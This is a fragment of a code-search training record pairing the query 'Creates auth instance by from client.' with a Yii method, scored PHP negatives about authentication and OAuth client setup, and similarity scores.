$_SESSION['ASP.NET_SessionId'] = $result->LoginResult;\n\t\t // each seperate webservice need the cookie set\n\t\t $authentication->__setCookie(\"ASP.NET_SessionId\", $_SESSION['ASP.NET_SessionId']);\n\t\t // throw an error if the login is unsuccessful\n\n\t\t\t/*echo \"<pre>\";\n\t\t\tprint_r( $authentication );\n\t\t\techo \"</pre>\";*/\n\t\t\t\n\t\t if($authentication->HasSession()->HasSessionResult == false)\n\t\t throw new SoapFault(\"0\", \"Invalid credential information.\");\n\t\t}\n\n\t}",
"function getClient($ClientName)\n\t{\n\t\tforeach($this->Client_List as $Client)\n\t\t\tif(strcmp($Client->getClientname(), $ClientName) == 0)\n\t\t\t\treturn $Client;\n\t}",
"public function getClientAccount()\n {\n return $this->account;\n }",
"public static function getUserGoogleCalendarConfigFromClient($client){\n\t\t$user = User::find(Session::get('id'));\n\t\t$gcalendar = $user->gcalendar;\n\t\t$gcalendar['token'] = $client->getAccessToken();\n\t\t$gcalendar['allow'] = true;\n\t\treturn $gcalendar;\n\t}",
"public function getClientId(): string\n {\n return (string) data_get($this->args, 'credentials.id');\n }",
"public function getUser($container, $id) {\n\tif (!array_key_exists($container, $this->authcontainers)) {return false;} // this authcontainer is not available\n\treturn $container::loadByID($id);\n}",
"function return_oneClientByIdModif($mid)\n{\n return getOne($mid, \"bav_client\", \"cli_id_modif\");\n}",
"static function getAuth() {\n return new Auth(Session::getInstance(),\n [\"restriction_msg\" => \"Vous n'avez pas le droit d'accéder à cette page.\", \n \"restriction_msg_assembly\" => \"Vous n'avez pas le droit d'accéder à cette page si vous n'êtes pas connecté.\"]);\n }",
"public function getAuthIdentifier();",
"public function getCredential();",
"public function authenticate()\n {\n return $this->auth_system();\n }",
"public static function get_auth()\n {\n return isys_maintenance_auth::instance();\n }",
"public function auth()\n {\n return $this->la->auth();\n }",
"protected function authenticateFromConfig(Google_Client $client) {\n $accountFile = join(DIRECTORY_SEPARATOR,\n [$this->configDir, self::SERVICE_ACCOUNT_FILE_NAME]);\n if (file_exists($accountFile)) {\n print 'Loading service account credentials from ' . $accountFile . \".\\n\";\n $accountConfig = json_decode(file_get_contents($accountFile), true);\n $client->setAuthConfig($accountConfig);\n $client->setScopes(Google_Service_ShoppingContent::CONTENT);\n return;\n }\n $oauthFile = join(DIRECTORY_SEPARATOR,\n [$this->configDir, self::OAUTH_CLIENT_FILE_NAME]);\n if (file_exists($oauthFile)) {\n print 'Loading OAuth2 credentials from ' . $oauthFile . \".\\n\";\n $oauthConfig = json_decode(file_get_contents($oauthFile), true);\n $client->setAuthConfig($oauthConfig);\n if($this->config->token == null) {\n $this->cacheToken($client);\n } else {\n try {\n $client->refreshToken($this->config->token->refresh_token);\n } catch (Google_Auth_Exception $exception) {\n $this->cacheToken($client);\n }\n }\n return;\n }\n // All authentication failed.\n $msg = sprintf('Could not find or read credentials from '\n . 'either the Google Application Default credentials, '\n . '%s, or %s.', $accountFile, $oauthFile);\n throw new DomainException($msg);\n }",
"public function authenticate();",
"public function authenticate();",
"public function authenticate();",
"public function setClientId(string $clientId): AuthorizationInterface;",
"public function client()\n {\n return $this->hasOne('App\\Repositories\\client', 'id', 'client_id');\n }",
"private function getClient(Request $request)\n {\n $client_key = $request instanceof Request ? $request->getParameter('oauth_consumer_key') : null;\n\n if (!$client_key) {\n throw new OAuthException('Invalid client key');\n }\n\n $client = $this->data_store->lookupClient($client_key);\n if (!$client) {\n throw new OAuthException('Invalid client');\n }\n\n return $client;\n }",
"public function getClientById($id, $db){\n $sql = \"SELECT * FROM client_registrations where id = :id\";\n $pst = $db->prepare($sql);\n $pst->bindParam(':id', $id);\n $pst->execute();\n return $pst->fetch(PDO::FETCH_OBJ);\n }",
"public function get_detail_client_by_name($client_name=0){\n\t\t$this->setMainTable('mmi_client');\n\t\treturn $this->find('client_name='.intval($client_name));\n\t}",
"public function getAccessTokenByCredentials()\n {\n $data = [\n 'client_id' => $this->oauth_client_id,\n 'client_secret' => $this->oauth_client_secret,\n 'grant_type' => 'client_credentials',\n ];\n return $this->sendRequest($this->oauth_access_token_url, $data);\n }",
"public function getClientId();",
"public function getClientId();"
] | [
"0.7131435",
"0.61929774",
"0.5895949",
"0.56996435",
"0.56996435",
"0.5669697",
"0.55782264",
"0.55752885",
"0.5527371",
"0.549385",
"0.54802966",
"0.5459082",
"0.54225147",
"0.5407715",
"0.53740835",
"0.534275",
"0.53178847",
"0.5304682",
"0.5266744",
"0.5264994",
"0.52484995",
"0.5236921",
"0.52274996",
"0.52131814",
"0.5199373",
"0.51985663",
"0.5193157",
"0.5188504",
"0.5143532",
"0.51315194",
"0.5125951",
"0.5102892",
"0.5095396",
"0.5095209",
"0.5091845",
"0.5082644",
"0.5082206",
"0.50814307",
"0.50781274",
"0.50781274",
"0.50781274",
"0.5074903",
"0.5071454",
"0.5060219",
"0.5056556",
"0.50556976",
"0.5050377",
"0.5044991",
"0.5036344",
"0.5033814",
"0.5031434",
"0.5031366",
"0.502436",
"0.5020191",
"0.50198287",
"0.49931344",
"0.4991252",
"0.49824706",
"0.4980759",
"0.4976969",
"0.4975395",
"0.49711153",
"0.49646533",
"0.4959831",
"0.4958504",
"0.49406397",
"0.49394718",
"0.49349776",
"0.493405",
"0.4914115",
"0.49117106",
"0.4904695",
"0.48960632",
"0.48948687",
"0.48897544",
"0.4885168",
"0.48694363",
"0.48676106",
"0.48658404",
"0.48640278",
"0.4863359",
"0.48524868",
"0.48350963",
"0.4835061",
"0.48336872",
"0.48301467",
"0.4826494",
"0.48193592",
"0.48136503",
"0.48132178",
"0.48132178",
"0.48132178",
"0.48129123",
"0.48104638",
"0.48095125",
"0.48082757",
"0.48075643",
"0.48054436",
"0.48030993",
"0.48030993"
] | 0.5651329 | 6 |
Creates auth instance by from client. | public static function getInstance(ClientInterface $client)
{
return Yii::createObject([
'class' => static::className(),
'provider' => $client->getId(),
'provider_id' => $client->getUserAttributes()['id'],
'provider_attributes' => json_encode($client->getUserAttributes())
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createAuthenticatedClient()\n {\n $client = static::createClient();\n\n $client->request(\n 'POST',\n '/api/login_check',\n array(\n '_username' => 'myphone',\n '_password' => 'phono'\n )\n );\n\n $data = json_decode($client->getResponse()->getContent(), true);\n\n $client = static::createClient();\n $client->setServerParameter('HTTP_Authorization', sprintf('Bearer %s', $data['token']));\n\n return $client;\n }",
"private function createAuth($userId, $client)\n {\n $auth = new Auth([\n 'user_id' => $userId,\n 'source' => $client->getId(),\n 'source_id' => $client->getUserAttributes()['id'],\n ]);\n return $auth->save();\n }",
"public function newInstance()\n {\n return new Auth($this->segment);\n }",
"protected function createClient()\n {\n $oauthClient = $this->getMockBuilder(BaseClient::className())\n ->setMethods(['initUserAttributes'])\n ->getMock();\n return $oauthClient;\n }",
"protected function authenticate()\n\t{\n\t\treturn $this->client;\n\t}",
"protected function createClient()\n\t{\n\t\treturn new Client($this->app);\n\t}",
"protected function createClient() : Client\n {\n $client = new Client;\n $client->id = 1;\n $client->secret = Str::random(32);\n $client->save();\n return $client;\n }",
"public static function factory($config = array())\n\t{\n\t\treturn new Auth($config);\n\t}",
"private function authenticate()\n {\n self::assertValidAuthType();\n\n $this->client\n ->getEmitter()\n ->attach(new $this->authenticators[$this->authType]($this));\n }",
"public function __construct()\n {\n $this->httpClient = new Client(['handler' => $this->setHandler(self::$connection->getAuthorizationToken())]);\n }",
"public static function getInstance()\n {\n if (null === self::$auth) self::$auth = new self();\n return self::$auth;\n }",
"private static function create(): Authentication\n {\n // Get the request to check the authorization token.\n $request = Request::createFromGlobals();\n\n // Default value if no token was sent.\n $accessToken = null;\n\n if ($request->headers->has('Authorization')) {\n $bearerToken = $request->headers->get('Authorization');\n\n // Search if the token is a Bearer.\n if (\\strpos($bearerToken, 'Bearer ') !== 0) {\n throw new \\UnexpectedValueException('The authorization is not a Bearer token.');\n }\n\n // Remove the Bearer from the token.\n $jwt = \\substr($bearerToken, 7);\n\n // Get the AccessToken.\n $accessToken = AccessTokenServiceFactory::get()->getAccessToken($jwt);\n\n // Throw exception if the token is revoked.\n if ($accessToken->revoked()) {\n throw new TokenRevokedException();\n }\n }\n\n return new AuthManager($accessToken);\n }",
"public function __construct() {\n\t\t$client = new \\GuzzleHttp\\Client;\n\t\t$this->client = $client;\n\n\t\t$response = $this->client->request('POST', 'http://api.thingsee.com/v2/accounts/login', \n\t\t\t['json' => \n\t\t\t\t[\n\t\t\t\t\t'email' => Config::get('thingsee.email'), \n\t\t\t\t\t'password' => Config::get('thingsee.password')\n\t\t\t\t]\n\t\t\t]);\n\n\t\t// Obsolete, 401 and 500 will be caught in the calling function\n\t\t$statusCode = $response->getStatusCode();\n\n\t\t$data = json_decode($response->getBody(), true);\n\t\t$this->accountAuthToken = $data['accountAuthToken'];\n\t}",
"public function createClient(): Client;",
"public static function factory($config = array())\n\t{\n\t\treturn new Simple_Auth($config);\n\t}",
"function auth(): Auth\n{\n return (new Auth);\n}",
"public function run()\n {\n factory(OauthClient::class,1)->create();\n }",
"private function setupClient() {\n\t\t$this->client = MeetupKeyAuthClient::factory( [\n\t\t\t'key' => $this->key\n\t\t] );\n\t}",
"static function getAuth() {\n return new Auth(Session::getInstance(),\n [\"restriction_msg\" => \"Vous n'avez pas le droit d'accéder à cette page.\", \n \"restriction_msg_assembly\" => \"Vous n'avez pas le droit d'accéder à cette page si vous n'êtes pas connecté.\"]);\n }",
"public function __construct()\n {\n // auth here\n }",
"public function run()\n {\n $client = [\n 'id' => 'LavAngId',\n 'secret' => 'SeCrEt_WoRd',\n 'name' => 'LavAngAPP'\n ];\n\n OauthClient::create($client);\n }",
"public function createAuth($data)\n\t{\n\t\t$auth = $this->map($data);\n\t\t\n\t\t$auth->save();\n\n\t\treturn $auth;\n\t}",
"protected function getAuthService()\n {\n return $this->services['auth'] = new \\phpbb\\auth\\auth();\n }",
"public static function auth()\n {\n return (new Authenticator(request()));\n }",
"public function __construct()\n {\n\n // For Authenticating with Login Credentials\n\n //$this->username = config('whmcs.username');\n //$this->password = config('whmcs.password');\n\n // For Authenticating with API Credentials\n\n $this->api_identifier = config('whmcs.api_identifier');\n $this->api_secret = config('whmcs.api_secret');\n\n $this->api_access_key = config('whmcs.api_access_key');\n\n $this->response_type = strtolower(config('whmcs.response_type'));\n\n $this->client = new Client([\n 'base_uri' => config('whmcs.url'),\n 'timeout' => config('whmcs.timeout'),\n 'headers' => ['Accept' => 'application/json']\n ]);\n }",
"private function initializeClient()\n {\n $this->client = new Client($this->guzzleConfig);\n\n if ($this->isInDebugMode()) {\n $this->setDebugger();\n }\n if ($this->needsAuthentication()) {\n $this->authenticate();\n }\n\n return $this->client;\n }",
"protected function createHttpClient()\n {\n $stack = HandlerStack::create();\n\n $middleware = new Oauth1([\n 'consumer_key' => $this->consumerKey,\n 'consumer_secret' => $this->consumerSecret,\n 'token' => $this->token,\n 'token_secret' => $this->tokenSecret\n ]);\n\n $stack->push($middleware);\n\n $client = new HttpClient([\n 'handler' => $stack\n ]);\n\n return $this->setHttpClient($client);\n }",
"public static function Auth()\n\t{\n\t\treturn self::$auth = new Auth();\n\t}",
"public function createClient(){\n\t\t$client = new Client(array(\n\t\t\t'servers' => array(\n\t\t\t\tarray('host' => HOST_ES_001, 'port' => PORT_ES_001),\n\t\t\t\tarray('host' => HOST_ES_002, 'port' => PORT_ES_002)\n\t\t\t)\n\t\t));\n\t\treturn $client;\n\t}",
"private function __construct()\n {\n $app = Application::getInstance();\n $this->_client = $app->session();\n }",
"public static function client()\n {\n if (is_null(static::$client)) {\n static::$client = new Client();\n static::$client->authenticate(config('github.token'), Client::AUTH_HTTP_TOKEN);\n }\n\n return static::$client;\n }",
"public function makeAuth()\n {\n $url = $this->environment->getApiUrl() . \"auth/oauth/v2/token\";\n\n $client = new Client();\n\n try {\n $guzzleReturn = $client->request('POST', $url, [\n 'headers' => [\n 'Authorization' => 'Basic ' . $this->authString\n ],\n 'form_params' => [\n 'scope' => 'oob',\n 'grant_type' => 'client_credentials',\n ]\n ]);\n\n $return = json_decode($guzzleReturn->getBody(), true);\n\n $this->getnetResponse = new GetNetResponse(true, $guzzleReturn->getStatusCode(), '');\n\n $this->accessToken = $return['access_token'];\n $this->tokenType = $return['token_type'];\n $this->expiresIn = $return['expires_in'];\n $this->scope = $return['scope'];\n\n } catch (RequestException $e) {\n $this->getnetResponse = new GetNetResponse(false, $e->getCode(), $e->getMessage());\n }\n\n return $this;\n }",
"public static function instance($config = array())\n\t{\n\t\tstatic $instance;\n\n\t\t// Load the Auth instance\n\t\tempty($instance) and $instance = new Auth($config);\n\n\t\treturn $instance;\n\t}",
"public function __construct()\n {\n $this->client = new Client([\n 'base_uri' => config('tpay.end_point_url') . '/api/t-pay/v1/oauth2/',\n 'timeout' => config('tpay.timeout'),\n 'connect_timeout' => config('tpay.connect_timeout'),\n 'protocols' => ['http', 'https'],\n ]);\n $this->accessToken;\n }",
"protected function client()\n\t{\n\t\treturn Passport::client();\n\t}",
"public function __construct()\n\t\t{\n\t\t\t$this->middleware('auth:client');\n\t\t}",
"public function __construct()\n {\n $this->client = new Client();\n }",
"public function __construct() {\n $dotenv = new Dotenv();\n $dotenv->load(dirname(__DIR__).'/.env');\n\n $this->api = new Api($_ENV['CLODUI_API']);\n\n $client_id = $_ENV['CLODUI_CLIENT_ID'];\n $user_pool_id = $_ENV['CLODUI_USER_POOL_ID'];\n $identity_pool_id = $_ENV['CLODUI_IDENTITY_POOL_ID'];\n\n Logger::debug('Config Client ID '. $client_id. ', User pool id '. $user_pool_id. ', Identity pool id '. $identity_pool_id);\n $this->auth = new Auth($client_id, $user_pool_id, $identity_pool_id);\n }",
"public static function instance($config = array())\n\t{\n\t\tstatic $instance;\n\n\t\t// Load the Auth instance\n\t\tempty($instance) and $instance = new Simple_Auth($config);\n\n\t\treturn $instance;\n\t}",
"protected static function createClient()\n {\n $log = new Logger('debug');\n $client = new Google_Client();\n $client->setApplicationName(self::APPLICATION_NAME);\n $client->useApplicationDefaultCredentials();\n $client->addScope('https://www.googleapis.com/auth/drive');\n $client->setLogger($log);\n return $client;\n }",
"public static function instance() {\n\t\tglobal $_SESSION;\n\t\t\n\t\tif (isset($_SESSION['puserauth'])) {\n\t\t\treturn unserialize($_SESSION['puserauth']);\n\t\t}\n\t\t$user = new PUserAuth();\n\t\t$user->store();\n\t\treturn $user;\n\t}",
"protected function auth()\n {\n if ($this->auth === null)\n $this->auth = new AuthModel($this->db);\n return $this->auth;\n }",
"public function __construct()\n {\n $this->authentication = new Authentication(\n getenv('AUTH_DOMAIN'),\n getenv('AUTH_CLIENT_ID'),\n getenv('AUTH_CLIENT_SECRET'),\n getenv('AUTH_AUDIENCE')\n );\n }",
"public function entity_auth()\n {\n return Auth::instance();\n }",
"public function __construct(Factory $auth)\n {\n $this->auth = $auth;\n }",
"protected function createHttpClient(){\n \t\n\t\trequire_once(INSTALL_PATH.\"/server/classes/class.HttpClient.php\");\n\t\t$httpClient = new HttpClient($this->host);\n\t\t$httpClient->cookie_host = $this->host;\n\t\t$httpClient->timeout = 50;\n\t\tAJXP_Logger::debug(\"Creating Http client\", array());\n\t\t//$httpClient->setDebug(true);\n\t\tif(!$this->use_auth){\n\t\t\treturn $httpClient;\n\t\t}\n\t\t\n\t\t$uri = \"\";\n\t\tif($this->auth_path != \"\"){\n\t\t\t$httpClient->setAuthorization($this->user, $this->password);\t\t\t\n\t\t\t$uri = $this->auth_path;\n\t\t}\n\t\tif(!isSet($_SESSION[\"AJXP_REMOTE_SESSION\"])){\t\t\n\t\t\tif($uri == \"\"){\n\t\t\t\t// Retrieve a seed!\n\t\t\t\t$httpClient->get($this->path.\"?get_action=get_seed\");\n\t\t\t\t$seed = $httpClient->getContent();\n\t\t\t\t$user = $this->user;\n\t\t\t\t$pass = $this->password;\n\t\t\t\t$pass = md5(md5($pass).$seed);\n\t\t\t\t$uri = $this->path.\"?get_action=login&userid=\".$user.\"&password=\".$pass.\"&login_seed=$seed\";\n\t\t\t}\n\t\t\t$httpClient->setHeadersOnly(true);\n\t\t\t$httpClient->get($uri);\n\t\t\t$httpClient->setHeadersOnly(false);\n\t\t\t$cookies = $httpClient->getCookies();\t\t\n\t\t\tif(isSet($cookies[\"AjaXplorer\"])){\n\t\t\t\t$_SESSION[\"AJXP_REMOTE_SESSION\"] = $cookies[\"AjaXplorer\"];\n\t\t\t\t$remoteSessionId = $cookies[\"AjaXplorer\"];\n\t\t\t}\n\t\t}else{\n\t\t\t$remoteSessionId = $_SESSION[\"AJXP_REMOTE_SESSION\"];\n\t\t\t$httpClient->setCookies(array(\"AjaXplorer\"=>$remoteSessionId));\n\t\t}\n\t\tAJXP_Logger::debug(\"Http Client created\", array());\n\t\treturn $httpClient; \t\n }",
"function ClienteWSInmuebles(){\n $this->auth = new ClienteWSAuthAgencia();\n }",
"public function client()\n {\n return new Client(['headers' => ['X-API-Key' => 'd4e47a6b49cdacb0524c12cfd5a3cadb9c102522', ]]);\n }",
"public function createClient():self\n {\n $client = new TwitterOAuth($this->consumerKey, $this->consumerSecret, $this->accessToken, $this->accessTokenSecret);\n $this->client = $client;\n return $this;\n }",
"public static function auth($callback)\n {\n static::$authUsing = $callback;\n\n return new static;\n }",
"public function __construct()\n {\n $this->middleware('auth:client');\n }",
"public function __construct()\n {\n $this->middleware('auth:client');\n }",
"public function __construct()\n {\n $this->middleware('auth:client');\n }",
"public function getClient()\n {\n if (!$this->getAPIKey() || !$this->isEnabled())\n return null;\n\n if (!$this->client) {\n require_once __DIR__ . '/../Raygun4php/RaygunClient.php'; \n\n $this->client = new \\Raygun4php\\RaygunClient($this->getAPIKey(), $this->getAsync(), false);\n $this->client->SetVersion($this->getVersion());\n\n $customer = Mage::helper('customer')->getCustomer();\n\n if ($customer !== null) {\n $this->client->SetUser(\n $customer->getEmail(), // Unique ID\n $customer->getFirstname(), // First name\n $customer->getName(), // Full name\n $customer->getEmail(), // Email\n ($customer->getEmail() == null), // Anonymous?\n null // UUID\n );\n }\n }\n\n return $this->client;\n }",
"private function createEActivitiesClient()\n {\n $http_client = new HttpClient;\n\n $http_client->setSslVerification(false);\n\n $eactivities_client = new EActivitiesClient($http_client);\n\n if (Session::has(self::$KEY_EACTIVITIES_SESSION)) {\n $eactivities_client->setSessionId(Session::get(self::$KEY_EACTIVITIES_SESSION));\n }\n\n return $eactivities_client;\n }",
"public function createClient(): Client {\n $client = new Client();\n $client->setApplicationName($this->configuration['application_name']);\n $client->setScopes($this->configuration['scopes']);\n $client->setAccessType('offline');\n $client->setAuthConfig($this->configuration['credentials_file']);\n $client->setPrompt('select_account consent');\n\n $tokenPath = $this->configuration['token_file'];\n if (file_exists($tokenPath)) {\n $accessToken = json_decode(file_get_contents($tokenPath), true);\n $client->setAccessToken($accessToken);\n }\n \n // If there is no previous token or it's expired.\n if ($client->isAccessTokenExpired()) {\n // Refresh the token if possible, else fetch a new one.\n if ($client->getRefreshToken()) {\n $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());\n }\n }\n\n return $client;\n }",
"public function getAuthManager();",
"public function authenticate()\n {\n $this->user = Mockery::mock(Authenticatable::class);\n\n $this->actingAs($this->user);\n\n $this->user->shouldReceive('getAuthIdentifier')->andReturn(1);\n $this->user->shouldReceive('getKey')->andReturn(1);\n\n return $this;\n }",
"public function __construct(AuthFactory $auth)\n {\n $this->auth = $auth;\n }",
"public function createAuthToken() {\n $url = URIResource::Make($this->path, array($this->id, 'tokens'));\n $token = $this->client->post($url, null);\n return new EndpointsToken($token);\n }",
"protected function _initAuth()\n {\n $dm = Registry::getInstance()->get('dm');\n $user = $dm->getRepository('Domain\\User\\Entity\\User')->find('4de999713eecad69a02e4145');\n \n // Simulate logged in User.\n Registry::getInstance()->set('user', $user);\n }",
"public function testCreateClient() {\n\n $this->withoutMiddleware();\n\n // Generate one user and one client\n $user = factory(App\\User::class)->create();\n $client = factory(App\\Client::class)->make(['phone_number' => '0725433317']);\n\n $this->actingAs($user)\n ->post('/clients/create', ['name' => $client->name, 'phone' => $client->phone_number])\n ->seeJson(['success' => true]);\n\n }",
"public function __construct()\n {\n parent::__construct();\n\n $this->httpClient = new Client([\n 'base_uri' => config('app.url'),\n 'headers' => [\n 'Authorization' => $this->apiKey,\n ],\n ]);\n }",
"public function run()\n {\n factory(OauthClients::class,10)->create();\n }",
"public static function factory($src) \n {\n return new Oauth($src);\n }",
"public function getApiClient()\n {\n $client = new \\Acelle\\Extra\\SendGrid(['username' => $this->getSubAccountUsername(), 'password' => decrypt($this->password)]);\n return $client;\n }",
"public static function factory($config = array())\n\t{\n\t\treturn new MangoRauth($config);\n\t}",
"public static function getInstance(){\n if(!self::$instance){\n self::$instance = new Auth();\n }\n \n return self::$instance;\n }",
"public function auth()\n {\n return $this;\n }",
"public function __construct()\n {\n // The Google API auth must be owned by a user.\n // We don't want them unattached and ending up with the\n // wrong user.\n\n $this->middleware('auth');\n }",
"public static function client(){\n\t\tif(!self::$client){\n\t\t\tself::$client = new self();\n\t\t}\n\t\treturn self::$client;\n\t}",
"abstract protected function auth();",
"public static function setInstance(Client $client);",
"public function __construct(\\Solarium\\Client $client)\n {\n $this->middleware('auth');\n $this->middleware('abonnement');\n\n $this->client = $client;\n }",
"public function createBackend()\n {\n $config = $this->getParams();\n if (isset($config['secure']) && $config['secure'] == 'ssl') {\n $prefix = 'ssl://';\n } else {\n $prefix = '';\n }\n $client = new Net_IMAP(\n $prefix . $config['host'],\n $config['port'],\n isset($config['secure']) && $config['secure'] == 'tls'\n );\n $client->_useUTF_7 = false;\n if (isset($config['debug'])) {\n if ($config['debug'] == 'STDOUT') {\n $client->setDebug(true);\n } else {\n throw new Horde_Kolab_Storage_Exception('This driver does not support debug logging into a file.');\n }\n }\n Horde_Kolab_Storage_Exception_Pear::catchError(\n $client->login($config['username'], $config['password'], true, false)\n );\n return $client;\n }",
"public static function create(ContainerInterface $container) {\n return new static(\n $container->get('user.auth')\n );\n }",
"protected function auth()\n {\n $params = [\n 'grant_type' => 'client_credentials',\n 'client_id' => $this->clientID,\n 'client_secret' => $this->secret,\n ];\n\n $curlSession = curl_init(self::NZPOST_AUTH_URL);\n\n curl_setopt($curlSession, CURLOPT_POST, 1);\n curl_setopt($curlSession, CURLOPT_POSTFIELDS, http_build_query($params));\n curl_setopt($curlSession, CURLOPT_RETURNTRANSFER, 1);\n $response = curl_exec($curlSession);\n\n $responseCode = curl_getinfo($curlSession, CURLINFO_HTTP_CODE);\n\n if (200 !== $responseCode) {\n throw new NzPostClientAuthException($response);\n }\n\n $body = json_decode($response, TRUE);\n if (!isset($body['access_token'])) {\n throw new NzPostClientAuthException('Could not get auth token from NZPOST API');\n }\n\n $this->token = $body['access_token'];\n\n if (isset($body['expires_in']) && $this->cacheIsSet()) {\n $expiresAt = $body['expires_in'] - self::REQUEST_TIMEOUT;\n\n $this->Cache->set(self::TOKEN, $body['access_token'], $expiresAt);\n }\n\n }",
"public function __construct(AuthorizerClientApi $authorizatorClient)\n {\n $this->authorizatorClient = $authorizatorClient;\n }",
"public function __construct(\n ClientCredentialsClientInterface $clientCredentialsClient\n ) {\n $this->machineClient = $clientCredentialsClient;\n $this->middleware('guest');\n }",
"public function __construct(\n ClientCredentialsClientInterface $clientCredentialsClient\n ) {\n $this->machineClient = $clientCredentialsClient;\n $this->middleware('guest');\n }",
"public function __construct()\n {\n $this->user = Auth::guard('api')->user();\n }",
"private function _setupAuth()\n {\n $this->_auth = Zend_Auth::getInstance();\n }",
"protected function authenticate(){\n $user = User::create([\n 'name' => 'test',\n 'email' => '[email protected]',\n 'password' => Hash::make('secret1234'),\n ]);\n $this->user = $user;\n $token = JWTAuth::fromUser($user);\n return $token;\n }",
"public function __construct()\n {\n\n $client = new Google_Client();\n $client->setAuthConfig('client_secret.json');\n $client->setAccessType(\"offline\"); // offline access\n $client->setIncludeGrantedScopes(true); // incremental auth\n $client->addScope(Google_Service_Calendar::CALENDAR);\n $client->setRedirectUri(url('oauth2callback'));\n\n $guzzleClient = new \\GuzzleHttp\\Client(array('curl' => array(CURLOPT_SSL_VERIFYPEER => false)));\n $client->setHttpClient($guzzleClient);\n\n $this->client = $client;\n }",
"private function __construct() \n {\n \n\t\t$this->_storage = new Tg_Auth_Storage_Session();\n\t\t$this->_adapter = new Tg_Auth_Adapter_User();\n\t\t$this->_auth = Zend_Auth::getInstance();\n $this->_auth->setStorage($this->_storage);\n }",
"protected function guard()\n {\n return Auth::guard('client');\n }",
"public function create()\n {\n // handled by client\n }",
"public function __construct(Authenticable $auth)\n {\n $this->auth = $auth;\n }",
"protected function createAuthenticatedClient($username = 'user', $password = 'password')\n {\n // Create a client\n $client = static::createClient();\n // Send username and password\n $client->request(\n 'POST',\n '/api/login_check',\n array(\n '_username' => $username,\n '_password' => $password,\n )\n );\n // Decode json data to retrieve the token\n $data = json_decode($client->getResponse()->getContent(), true);\n\n // Erase client with new\n $client = static::createClient();\n // Send data with\n $client->setServerParameter('HTTP_Authorization', sprintf('Bearer %s', $data['token']));\n\n // Return the authenticated client\n return $client;\n }",
"public function run()\n {\n // Default user\n\n $user = User::first();\n\n Client::insert([\n // Authorization Code grant client\n\n [\n 'id' => '229f9dfd-8a91-4dfa-90db-00ba966ed1ef',\n 'user_id' => $user->id,\n 'name' => 'dev-auth-code-grant-client',\n 'secret' => 'BZQVA2FBPNPhAc0BtqCjndQVSA1TQUJMzJADJrdt',\n 'redirect' => '',\n 'personal_access_client' => false,\n 'password_client' => false,\n 'revoked' => false,\n 'created_at' => now(),\n 'updated_at' => now(),\n ],\n\n // Password grant client\n\n [\n 'id' => '1bf0b03e-1c62-45e3-bf18-c5989cb43dde',\n 'user_id' => $user->id,\n 'name' => 'dev-password-grant-client',\n 'secret' => 'S8xqNQxus0L4cCJA8lQ4nKLayIQjfc4YOXz9MSWp',\n 'redirect' => '',\n 'personal_access_client' => false,\n 'password_client' => true,\n 'revoked' => false,\n 'created_at' => now(),\n 'updated_at' => now(),\n ],\n ]);\n\n // Personal access token client\n\n $client = new Client();\n // $client->id = '84031037-7d29-491a-99ac-340ff14e1001';\n $client->user_id = $user->id;\n $client->name = 'dev-personal-client';\n $client->secret = 'ViSqJ6if7ZgUK6ysaBZF61MKb8bYPRIdjOTzK7oT';\n $client->redirect = '';\n $client->personal_access_client = true;\n $client->password_client = false;\n $client->revoked = false;\n $client->save();\n\n $personal_client = new PersonalAccessClient();\n $personal_client->client()->associate($client);\n $client->save();\n }",
"public function makeAuthorizationServer()\n {\n return new AuthorizationServer(\n $this->app->make(\\Laravel\\Passport\\Bridge\\ClientRepository::class),\n $this->app->make(\\App\\Auth\\OAuth\\AccessTokenRepository::class),\n $this->app->make(\\Laravel\\Passport\\Bridge\\ScopeRepository::class),\n $this->makeCryptKey('private'),\n app('encrypter')->getKey(),\n new ResponseType()\n );\n }",
"protected function createClientWithoutSession()\n {\n $this->client = static::createClient();\n }",
"public function authenticate(array $config)\n {\n if (!$this->client) {\n throw new InvalidArgumentException('The client instance was not given to the private key authenticator.');\n }\n\n if (!array_key_exists('appId', $config)) {\n throw new InvalidArgumentException('The private key authenticator requires the application id to be configured.');\n }\n\n $this->client->authenticate(self::getToken($config)->toString(), Client::AUTH_JWT);\n\n return $this->client;\n }",
"public function __construct(UserAuthInterface $auth) {\n $this->auth = $auth;\n }",
"public function createClient(){\n $config = new DBALConfiguration();\n $this->dbConnection = DBALDriverManager::getConnection($this->config, $config);\n }",
"function __create_auth_token($email, $password, $account_type, $service) {\n\n return new AuthToken($email, $password, $account_type, $service);\n\n}",
"public function __construct() {\n // Reason: Internal function call from Kernel cannot have an authenticated user\n }",
"public static function factory() \n {\n return new FacebookAuth();\n }",
"public function create()\n {\n $this->cpAuthorize();\n }",
"protected function initAuth()\n {\n /** @var Auth $auth */\n Auth::getInstance()->setStorage();\n }",
"public function testClientInitializedWithCustomCnameAndSecurity()\n {\n $stub_http_client = $this->createMock(\\GuzzleHttp\\Client::class);\n $client = new FilestackClient(\n $this->test_api_key,\n $this->test_security,\n $stub_http_client,\n null,\n $this->test_cname\n );\n $this->assertInstanceOf(FilestackClient::class, $client);\n $this->assertEquals($client->api_key, $this->test_api_key);\n $this->assertEquals($client->cname, $this->test_cname);\n\n return $client;\n }"
] | [
"0.75529194",
"0.6830262",
"0.65864563",
"0.6527538",
"0.65169835",
"0.64803344",
"0.6436779",
"0.63388985",
"0.6304224",
"0.61575204",
"0.6144782",
"0.6131146",
"0.61273265",
"0.61251223",
"0.61235404",
"0.61115223",
"0.6111498",
"0.6109218",
"0.602763",
"0.6019381",
"0.6013272",
"0.6003713",
"0.59718716",
"0.59488606",
"0.59485954",
"0.59468156",
"0.59450805",
"0.5919879",
"0.59188396",
"0.5911072",
"0.5884092",
"0.58549315",
"0.5840759",
"0.58347744",
"0.58322173",
"0.5828649",
"0.58150727",
"0.5799982",
"0.5788526",
"0.578833",
"0.57873154",
"0.57704544",
"0.57687676",
"0.57632107",
"0.5759405",
"0.5758027",
"0.5748466",
"0.5729298",
"0.57146984",
"0.5714496",
"0.5710792",
"0.5710792",
"0.5710792",
"0.5688479",
"0.56864274",
"0.56848645",
"0.5681689",
"0.5668198",
"0.566517",
"0.5662886",
"0.5651235",
"0.56501305",
"0.5646563",
"0.564572",
"0.5637439",
"0.5632848",
"0.5628929",
"0.5627394",
"0.5614173",
"0.56089294",
"0.55878067",
"0.55778396",
"0.55655503",
"0.5562997",
"0.5555723",
"0.5552559",
"0.55472744",
"0.55344987",
"0.55329764",
"0.55329764",
"0.55312353",
"0.5524564",
"0.5523861",
"0.5522428",
"0.55172324",
"0.5516229",
"0.5515579",
